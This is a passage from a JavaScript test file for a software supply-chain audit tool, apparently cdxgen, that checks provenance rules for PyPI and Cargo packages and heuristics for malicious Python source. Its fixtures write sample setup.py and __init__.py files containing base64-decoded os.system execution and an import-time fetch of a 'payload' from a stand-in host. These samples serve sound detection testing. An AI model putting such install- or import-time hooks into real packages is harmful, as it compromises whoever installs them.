value: "4", }, ], type: "pypi", version: "3.0.0", }); assert.ok(findings.some((finding) => finding.ruleId === "PROV-009")); assert.ok(findings.some((finding) => finding.ruleId === "PROV-010")); }); it("creates partial-overlap drift and compressed-cadence detectors for PyPI packages with weak trust posture", () => { const findings = buildTargetContextFindings({ bomRefs: ["pkg:pypi/example@3.1.0"], name: "example", purl: "pkg:pypi/example@3.1.0", properties: [ { name: "cdx:pypi:packageCreatedTime", value: "2024-01-01T00:00:00.000Z", }, { name: "cdx:pypi:versionCount", value: "12", }, { name: "cdx:pypi:uploaderSet", value: "alice, bob", }, { name: "cdx:pypi:priorUploaderSet", value: "bob, charlie", }, { name: "cdx:pypi:releaseGapDays", value: "9", }, { name: "cdx:pypi:releaseGapBaselineDays", value: "60", }, { name: "cdx:pypi:releaseGapSampleSize", value: "3", }, ], type: "pypi", version: "3.1.0", }); assert.ok(findings.some((finding) => finding.ruleId === "PROV-013")); assert.ok(findings.some((finding) => finding.ruleId === "PROV-014")); assert.ok(!findings.some((finding) => finding.ruleId === "PROV-009")); }); it("creates yanked and provenance-aware drift detectors for Cargo packages", () => { const recentTimestamp = new Date( Date.now() - 1000 * 60 * 60 * 12, ).toISOString(); const oldTimestamp = new Date( Date.now() - 1000 * 60 * 60 * 24 * 120, ).toISOString(); const findings = buildTargetContextFindings({ bomRefs: ["pkg:cargo/serde@1.0.217"], name: "serde", purl: "pkg:cargo/serde@1.0.217", properties: [ { name: "cdx:cargo:yanked", value: "true", }, { name: "cdx:cargo:publishTime", value: recentTimestamp, }, { name: "cdx:cargo:packageCreatedTime", value: oldTimestamp, }, { name: "cdx:cargo:versionCount", value: "10", }, { name: "cdx:cargo:publisherDrift", value: "true", }, ], type: "cargo", version: "1.0.217", }); assert.ok(findings.some((finding) => finding.ruleId === "PROV-015")); assert.ok(findings.some((finding) => finding.ruleId === "PROV-016")); assert.ok(findings.some((finding) => finding.ruleId === "PROV-017")); }); }); describe("buildPythonSourceHeuristicFindings()", () => { it("detects suspicious encoded execution inside setup.py", () => { const tempDir = mkdtempSync(path.join(os.tmpdir(), "cdxgen-audit-py-")); writeFileSync( path.join(tempDir, "setup.py"), [ "from setuptools import setup", "import base64", "import os", "payload = base64.b64decode('bHM=')", "os.system(payload.decode())", "setup(name='demo')", ].join("\n"), ); try { const findings = buildPythonSourceHeuristicFindings(tempDir, { bomRefs: ["pkg:pypi/demo@1.0.0"], name: "demo", purl: "pkg:pypi/demo@1.0.0", type: "pypi", version: "1.0.0", }); assert.ok(findings.some((finding) => finding.ruleId === "PYSRC-001")); } finally { rmSync(tempDir, { force: true, recursive: true }); } }); it("detects suspicious import-time behavior in __init__.py", () => { const tempDir = mkdtempSync(path.join(os.tmpdir(), "cdxgen-audit-py-")); mkdirSync(path.join(tempDir, "demo"), { recursive: true }); writeFileSync( path.join(tempDir, "demo", "__init__.py"), [ "import requests", "import subprocess", "requests.get('https://example.invalid/payload')", "subprocess.run(['echo', 'demo'])", ].join("\n"), ); try { const findings = buildPythonSourceHeuristicFindings(tempDir, { bomRefs: ["pkg:pypi/demo@1.0.0"], name: "demo", purl: "pkg:pypi/demo@1.0.0", type: "pypi", version: "1.0.0", }); assert.ok(findings.some((finding) => finding.ruleId === "PYSRC-002")); } finally { rmSync(tempDir, { force: true, recursive: true }); } }); it("detects dynamic execution helpers such as exec in setup.py", () => { const tempDir = mkdtempSync(path.join(os.tmpdir(), "cdxgen-audit-py-")); writeFileSync( path.join(tempDir, "setup.py"), [ "from setuptools import setup", "impor